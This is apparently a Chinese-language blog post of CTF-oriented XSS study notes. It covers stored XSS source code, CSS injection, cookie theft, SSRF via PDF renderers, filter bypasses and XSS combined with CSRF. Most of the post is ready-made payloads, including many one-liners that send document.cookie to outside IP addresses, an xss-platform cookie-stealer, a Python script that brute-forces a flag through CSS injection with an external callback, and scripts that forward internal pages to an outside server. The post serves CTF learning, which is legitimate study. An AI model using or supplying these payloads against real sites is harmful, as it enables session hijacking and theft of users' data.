xss 笔记

xss

xss简单漏洞的实现

(附靶机关键源码)

stored cross site scripting

存储型xss

  • 简介:在可以提交表单的地方留下js恶意代码,利用漏洞存储进后端,引发安全问题

基本操作大家应该都懂,下面给大家看一下漏洞源码,理解一下原理

源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
//

    // Sanitize message input
    $message = stripslashes( $message );
    //stripslashes只返回/前的部分
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//isset判断布尔值:如果参数的值为null,返回false
//mysqli_real_escape_string返回转义字符转义后的字符串

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 
————————————————

xss

(DOM based Cross Site Scripting)

源码(待更新)

寻找注入点

提交表单且回显的地方

首先寻找注入点,

在可以写东西并提交表单的地方写下面这些

<script>alert("1");</script>
<img src="aaa" onerror = <script>alert(1);</script>/>

(也不一定非得onerror,可以参考HTML 事件 | 菜鸟教程 (runoob.com))

<script>alert(1);</script>

正常来说以上都会失败(因为太简单了)

以下是高级一点点的做法(再高级的话结合下面的绕过,因为大概率是未绕过才无法成功)

{{1*2}}

这个看康会不会回显2,成功的话说明它引用了框架,要利用它的框架漏洞

也可以是在get传参的地方

js代码中的提示你传参的地方

css in xss

其实也是纯在提交表单且回显的地方,不过插入的是css而不是js

有一种直接xss的,不过文章显示2009年,估计如今早已成为历史

(46条消息) css中的xss漏洞_kuiyuexiang的博客-CSDN博客

#header {background:url(javascript:alert('script injected'))}
#header {</textarea><script>alert('script injected');</script>
#header {</textarea><script>window.location.href='http://hi.baidu.com';</script>

css盲注

参考这个,很全4.2.9.2. CSS 注入 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

据此归纳一下

  • 盲注出想要的字符串

<style>标签里面可以写css,而css可以直接是我们构造的恶意代码,这里由于存在限制,我们采取一种盲注的思维

<style>
    #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
    #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
    #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
    [...]
</style>

当第一个字符匹配成功的时候会访问http://localhost/log.php/a

通常是盲注/flag界面的flag{某某.........

有个题目miku师傅做出来的,分享以下脚本

import re
import base64
import requests

next = ''
url = "http://193.57.159.27:47625/"
proxies = {'http': 'http://localhost:7890', 'https': 'http://localhost:7890'}
newcookie = ''
char  = "opqrstuvwxyzabcdefghijklmn0123456789QWERTYUIOPASDFGHJKLZXCVBNM_-,{}"

def post(j):
    cookie = {
        'session' : 'eyJjc3MiOiIyMzQyMzQifQ.Ym02QA.0tJCmX5HeHwyEQGZacH6OukJyc8'
    }
    data = {
        "css" : f'''input[value^="DOCTF{{CSS_d4t4_3x{j}"]
{{background-image:url("http://120.79.0.164:1236
");}}'''}

    print("post  ------------   j = " + j)
    res = requests.post(url, cookies=cookie, proxies=proxies, data=data)
    print("post ok")
    return  res.cookies

def get(i):
    print("get  ------------   ")
    res2 =  requests.get(url + "submit_for_review", cookies=i)
    print("get  ok")

for i in range(100):
    for j in char:
        res1cookie = post(j)
        get(res1cookie)
  • 返回字符集

当可以插入CSS的时候,可以使用 font-face 配合 unicode-range 获取目标网页对应字符集。PoC如下

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

当字符较多时,则可以结合 ::first-line 等CSS属性缩小范围,以获取更精确的内容

利用

如何利用xss get cookie

get cookie

nc也可

强烈建议python

python3 -m http.server {Port}

来源ctfshow的xss

外带

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

利用平台:xss-platform

执行恶意getcookie代码

(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=LaRde1&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

简单来说,原理是:当提交这个吐槽内容时,后台会执行里面的恶意代码,将自己的cookie等重要信息通过get明文传输给xssplatform网站,网站那边会记录下我们得到的cookie

window所有键值

有时候没能带出cookie(考虑绕过,如同源策略),或者cookie为空,或者flag是一个已经声明的js变量,可以选择遍历window所有键值

参考一道hgame2022微信留言板:

解法

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">

js小知识:参考HTML DOM getElementsByClassName() 方法 | 菜鸟教程 (runoob.com)

document.getElementsByClassName(classname) 功能:返回一个html中的类名为classname的标签的所有内容

innerText 指的是文本内容

合起来:就是匹配html中标签的类名为classname的文本

看菜鸟的例子就明白了(document.getElementsByClassName(classname)匹配到红色的,innerText 匹配到蓝色的)

image-20220222205020583

常见的还有

document.getElementsByTagName,也是可以匹配标签的

然后可以看见这个等号是个赋值操作,Object.keys(a)是要指定一个对象a的,功能是返回该对象的键名。

这里选择了windows类,为何呢,请看下图

image-20220221201701418

因为代码中的flag没有在任何js函数体内定义,所以显然属于全局变量,根据上图可知属于windows类的一个属性(会以键值对的形式存储在类中)

所以我们需要的是遍历键值对!

因为windows类这个“全局变量都属于它”的特性,常被用于js代码的信息收集

wp的思路比较巧妙,使用Object.keys(window)把所有全局变量的键名key都打印出来,放到content标签下,那道题目中的留言板恰好有个content标签,所以就直接可以回显出来

image-20220222210031549

而恰好flag的键名key是有特点的,所以在取出它的值value即可

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = F149_is_Here">

总结:

遍历windows的key,可以这样

Object.keys(window)

服务端js相关插件被xss导致ssrf,发送内网请求

自己构造xmlrequest:XMLHttpRequest - Web API 接口参考 | MDN (mozilla.org)

比如说(46条消息) PDF解析器html/XSS 实现SSRF_火线安全的博客-CSDN博客_pdf解析器

漏洞版本:wkhtmltopdf 全版本目前0.12.6,weasyprint <=48

假如需要在内网发送请求,比如说内网访问登录页面并post传用户名密码,或者内网访问超时(加载css等超时)需要用xml读取数据

发送请求并传递post数据 payload

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>

还有一种方法

从源代码中的js文件中找到的一个ajax提交

就是异步提交,只要可以执行js就可以使用下面的语句,能不能ssrf要看漏洞在客户端还是在服务端

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

参考CTFshow-web入门-XSS_哔哩哔哩_bilibili

读取xml

发送请求并外带xml

<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/admin",false);
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"%2B btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>

如上文,其实是两个请求,前面先请求得到内网的xml代码(简单理解为html静态界面代码),之后再发送到我们的vps监听端口上

不过自动base64编码了,还得解码后改html后缀打开

image-20220430183747111

绕过

绕过空格

过滤空格

用tab代替,在hackbar中写入%09,利用hackbar进行urldecode

用/**/代替

绕过分号,点

换payload

堆注入

堆注入

?username=';alert(1);//

非典型堆注入

?username=</script><script>alert(1)</script>

当一次移除时:双写或多写绕过

可能的过滤是:标签(直接防注入),单引号(防堆注入)

<scr<script>ipt>alert("XSS")</scr<script>ipt>
?username='';alert(1);//
3 行内样式(Inline style)

我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?[<]∗?

)|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">

闭合括号(之后堆注入)绕过

  • 这个过滤有前端过滤

源码

简单代码审计:

  • escape:编码函数,可以把payload编码为十六进制字符,很难解密

  • location.search: 返回匹配到的字符串,该函数把url中“?”以后的字符串返回(包括“?”)

  • document.getElementById:给某某一个指定id

  • innerHTML=("xxx"): 把起始标签和结束标签的内容换为xxx

遇到了棘手的escape函数,几乎没法绕过,那么这里使用闭合前面的单引号绕过

如下1:

?username=';alert(1);//

为什么alert(1)前面不加

<script>

是怕被过滤

  • 非预期解:一定要绕过的话,可以利用
</script>以后的不会过滤(因为开发者选项中</script>被解析了)

上面这条特性来绕过,

如下2

username=</script><script>alert(1)</script>
  • 非预期解:不一定要绕过,借刀杀人
username=<img src="javacript::alert(1)" onclick="alert(1);">

然后点击那个裂了的图

伪链接

知识背景:

  • 很多HTML标记中的属性都支持javascript:[code]伪协议(伪链接)的形式,这就给了注入XSS可乘之机,当然,要在客户端将执行网页链接的地方插入

image-20210710203550581

简单的代码审计:

  • getQueryVariable函数

    url 实例:

http://www.runoob.com/index.php?id=1&image=awesome.jpg

​ 调用 getQueryVariable("id")返回 1。

​ 调用 getQueryVariable("image") 返回 "awesome.jpg"。

  • (待更新)

设计一个伪链接欺骗浏览器跳转,然而其实链接是一段即使被escape函数编码也能执行的js恶意脚本,跳转链接即执行!

/level4?jumpUrl=javascript:alert(1);//

核心代码如下:(前面传参要代码审计)

javascript:alert(1);

假POST,真代码审计

在这里插入图片描述

代码审计:

  • location.href: 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL

编码问题

——只有特殊字符才会被编码

当输入经典xss语句时候,回显如下

/%3Cscript%3Ealert(1);%3C/script%3E

说明被escape函数编码(事实上是一种url编码,可以逆回来)

image-20210710212429772

推荐如下绕过

javascript:alert('xss');

xss模板注入

这个考验对搜索引擎的掌握,先用

{{1*2}}

生效以后说明存在该2注入点,再去看F12(source)

image-20210710215541480

同源策略 xss+csrf

关于http only

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,具体如何设置:response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly") 。所以在head里可以看到一些特征

关于同源策略

参考[Web安全(一)---浏览器同源策略 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1744586#:~:text=浏览器的同源策略目的是为了保护用户的信息安全%2C为了防止恶意网站窃取用户在浏览器上的数据%2C如果 不是同源 的站点%2C将不能进行如下操作 %3A 1 Cookie、LocalStorage 和,IndexDB 无法读写 2 DOM 和 Js对象无法获得 3 AJAX请求不能发送)

这里归纳一下:同协议,同端口,同域名(一级域名,二级域名)就是同源。浏览器的同源策略目的是为了保护用户的信息安全,为了防止恶意网站窃取用户在浏览器上的数据,如果不是同源的站点,将不能进行如下操作 :

  • Cookie、LocalStorage 和 IndexDB 无法读写
  • DOM 和 Js对象无法获得
  • AJAX请求不能发送

来看一个场景,假设admin访问flag界面会出现flag,普通用户不会,然后我们找到了xss点,原本想直接xss getcookie伪造admin访问flag,但是

直接带cookie为什么带不出来呢,猜测设置了http only,再结合the admin bot will be able to access this这句话,会不会是XSS+CSRF呢,再看一眼目标站点为https://xtra-salty-sardines.web.actf.co/,bot站点为https://admin-bot.actf.co/xtra-salty-sardines,一级域名同源,可以试一波

特点是:可以访问,但是不会把cookie给你

参考jacko神的文章

<script>
const xhr = new XMLHttpRequest();
xhr.open('GET','https://xtra-salty-sardines.web.actf.co/flag');
xhr.send();
xhr.onreadystatechange = function(){
    if(xhr.readyState === 4){
        if(xhr.status >= 200 && xhr.status < 300){
            window.open('https://ctf.jan.show/'+'?flag='+xhr.response);
        }
    }
}
</script>

就是

  • 先让admin请求同源的域名下的flag界面https://xtra-salty-sardines.web.actf.co/flag
  • 再带着这个页面访问恶意vps
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇